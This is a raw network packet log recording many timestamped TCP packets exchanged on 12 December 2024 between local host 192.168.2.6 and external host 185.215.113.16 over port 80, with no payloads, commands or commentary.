Dec 12, 2024 21:50:19.875731945 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.875813007 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.875870943 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.877815008 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.877988100 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.878000021 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.878034115 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.879899979 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.879955053 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.879986048 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.880033016 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.882031918 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.882093906 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.882133007 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.882173061 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.884136915 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.884191990 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.884274960 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.884351969 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.886256933 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.886312962 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.886393070 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.886440039 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.888366938 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.888426065 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.888506889 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.888555050 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.890480995 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.890595913 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.890652895 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.892616034 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.892678976 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.892733097 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.892822981 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.894793987 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.894845009 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.894891024 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.894938946 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.896765947 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.896862984 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.982626915 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.982650042 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.982714891 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.983100891 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.983158112 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.983248949 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.983300924 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.984898090 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.984968901 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.984991074 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.985033035 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.986722946 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.986848116 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.986885071 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.986934900 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.988578081 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.988655090 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.988701105 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.988749981 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.990336895 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.990406036 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.990458012 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.990550041 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.992198944 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.992253065 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.992254972 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.992297888 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.993901968 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.993962049 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.994010925 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.994055986 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.995632887 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.995697021 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.995760918 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.995807886 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.997354984 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.997410059 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.997472048 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.997535944 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:19.999053955 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.999191046 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:19.999239922 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.000679970 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.000730991 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.000806093 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.000861883 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.002243996 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.002301931 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.002363920 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.002412081 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.003868103 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.003928900 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.003974915 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.004074097 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.005431890 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.005494118 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.005558968 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.005738974 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.007127047 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.007193089 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.007271051 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.007318974 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.008552074 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.008630037 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.008673906 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.008727074 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.010086060 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.010133982 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.010238886 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.010293961 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.011624098 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.011718035 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.011769056 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.011821985 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.013071060 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.013164997 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.013226032 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.013298988 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.014651060 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.014702082 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.014765978 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.014837027 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.016120911 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.016180992 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.016246080 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.016307116 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.017586946 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.017651081 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.017704964 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.017785072 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.019030094 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.019088030 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.019139051 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.019351959 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.020473003 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.020531893 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.020596027 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.020744085 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.021940947 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.022073984 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.022136927 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.023391962 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.023458958 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.023536921 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.023587942 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.024883986 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.024945974 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.025254965 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.025312901 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.026304007 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.026411057 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.026443005 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.026460886 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.027751923 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.027854919 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.027865887 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.027898073 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.029196024 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.029263020 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.029329062 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.029411077 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.030687094 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.030745029 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.030776024 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.030823946 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.032182932 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.032237053 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.032301903 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.032350063 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.033615112 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.033662081 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.033869028 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.033921957 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.035037994 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.035096884 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.035160065 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.035247087 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.036469936 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.036529064 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.036657095 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.036767006 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.037954092 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.038058996 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.038059950 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.038103104 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.039429903 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.039486885 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.039635897 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.039705992 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.040860891 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.040911913 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.041085005 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.041167974 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.042336941 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.042391062 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.042444944 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.043817043 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.043880939 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.043917894 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.044034958 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.045238018 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.045321941 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.045325994 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.045372963 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.046710014 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.046761990 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.046778917 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.046830893 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.048165083 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.048239946 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.048368931 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.048450947 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.049626112 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.049681902 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.049745083 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.049810886 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.051209927 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.051290989 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.051337004 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.051378965 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.052716970 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.052776098 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.052854061 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.052901983 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.054135084 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.054229975 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.054250002 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.054269075 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.055603027 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.055680037 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.055742979 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.055872917 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.056931019 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.056999922 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.057045937 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.057080984 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.058346033 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.058393955 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.058446884 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.058490038 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.059834003 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.059901953 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.060026884 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.060133934 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.061367989 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.061409950 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.061522961 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.061568022 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.062711000 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.062781096 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.174962044 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.175052881 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.175951958 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.175966978 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.175982952 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.176003933 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.176048994 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.178503036 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.178539991 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.178555965 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.178571939 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.178577900 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.178587914 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.178595066 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.178638935 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.179589033 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.179609060 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.179651022 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.180171013 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.180217981 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.182902098 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.182917118 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.182934999 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.182959080 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.182966948 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.182975054 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.183007002 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.183042049 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.183576107 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.183629990 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.185692072 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.185709000 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.185724974 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.185734034 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.185741901 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.185765982 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.185846090 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.188432932 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.188450098 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.188466072 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.188479900 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.188488007 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.188498020 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.188513994 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.188544989 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.188575029 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.190749884 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.190764904 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.190781116 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.190795898 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.190846920 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.190846920 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.193598032 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.193623066 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.193639040 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.193655014 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.193669081 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.193702936 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.196461916 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.196476936 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.196492910 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.196507931 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.196522951 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.196526051 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.196538925 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.196543932 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.196563005 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.196590900 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.197547913 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.197563887 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.197597027 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.197613001 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.199588060 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.199604034 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.199619055 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.199635029 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.199645042 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.199677944 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.202505112 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.202528954 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.202544928 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.202559948 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.202574015 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.202574968 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.202590942 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.202595949 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.202613115 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.202650070 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.203578949 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.203634024 CET	49901	80	192.168.2.6	185.215.113.16
